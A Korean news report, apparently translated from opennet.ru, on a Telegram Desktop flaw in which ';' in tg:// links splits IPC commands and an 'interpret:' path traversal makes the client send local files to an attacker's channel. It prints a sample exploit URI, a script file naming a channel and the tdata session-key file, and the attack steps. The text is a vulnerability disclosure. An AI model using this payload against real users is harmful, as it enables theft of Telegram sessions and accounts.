텔레그램 데스크톱 버전의 취약점으로 인해 링크를 클릭하는 것만으로 임의의 파일을 전송할 수 있습니다.

텔레그램 공식 데스크톱 클라이언트인 텔레그램 데스크톱에서 발견된 취약점(CVE-2026-107181)에 대한 세부 정보와 악용 방법이 공개되었습니다. 이 문제는 IPC 명령에서 이스케이프 처리되지 않은 구분 기호 문자를 제대로 처리하지 못하여 발생합니다. 이로 인해 공유 링크를 클릭하면 피해자 시스템의 모든 파일, 특히 텔레그램 계정을 탈취하는 데 사용될 수 있는 세션 키가 포함된 파일을 공격자에게 전송할 수 있었습니다. 이 취약점은 텔레그램 데스크톱 7.2.9 버전에서 수정되었습니다.

"tg://" 링크를 클릭하면 운영 체제는 해당 링크 유형과 연결된 Telegram Desktop 애플리케이션을 실행합니다. 시스템에서 이미 이 애플리케이션의 다른 인스턴스가 실행 중인 경우, 실행 중인 프로세스는 IPC 인터페이스를 사용하는 소켓을 통해 링크를 해당 인스턴스로 전달합니다. 문제는 링크 매개변수에 ";" 문자를 포함하는 경우(예: "tg://x?a=1;OPEN…") 내용이 분할되어 ";" 문자 뒤의 부분이 각각 별개의 명령으로 처리된다는 것입니다.

이 공격은 OPEN 명령과 "interpret:" URI 스키마를 이용하는데, 이는 IPC를 통해 서비스 스크립트를 실행하도록 설계되어 있으며, 이 스크립트는 새 릴리스를 채널에 자동으로 푸시하는 데 사용됩니다. 스크립트는 채널로 전송할 파일과 채널 ID를 지정하는 미리 정의된 로컬 파일입니다. 스크립트의 파일 경로는 서비스 하위 디렉터리를 기준으로 처리되지만, 파일 경로에서 "../"가 제거되지 않기 때문에 공격자는 기본 디렉터리 외부에 저장된 파일에 접근할 수 있습니다. 예를 들어, 공격자는 파일을 텔레그램 그룹에 업로드한 다음 다음과 같은 링크를 생성하여 해당 파일을 스크립트로 참조할 수 있습니다.

tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt

공격 단계:

• 공격자는 피해자를 자신의 그룹에 추가하고(기본 설정에서는 피해자 추가 시 피추가자의 확인이 필요하지 않음) 채널과 스크립트 경로가 포함된 텍스트 파일을 그룹에 보냅니다. 피해자가 그룹에 참여하면 텔레그램은 이 파일을 미리 정의된 시스템 하위 디렉터리에 저장합니다.

  채널: 2005234537
  file: tdata/D877F783D5D3EF8Cs

• 공격자는 피해자에게 자신의 호스트 사이트로 연결되는 무해해 보이는 링크(예: "https://coolsite.org")를 보냅니다. 이 링크를 클릭하면 리디렉션을 통해 악성 사이트로 이동하게 됩니다. 섬기는 사람 공격자의 URI는 'tg://x?a=1;OPEN:interpret:…;OPEN:interpret:…' 형식의 URI로 대체됩니다.
• 링크를 클릭하면 브라우저가 "tg://" URI 핸들러를 호출하여 앞서 언급한 명령 실행 체인을 시작하고, 그 결과 아무런 알림이나 전송 확인 요청 없이 파일이 공격자의 채널로 전송됩니다.
• 공격자는 tdata 하위 디렉터리에서 암호화 및 인증 키가 포함된 파일을 수신하고, 사용자가 로컬 암호를 설정하지 않은 경우 피해자의 연결 세션을 자신의 장치에서 복제할 수 있습니다.

출처 : opennet.ru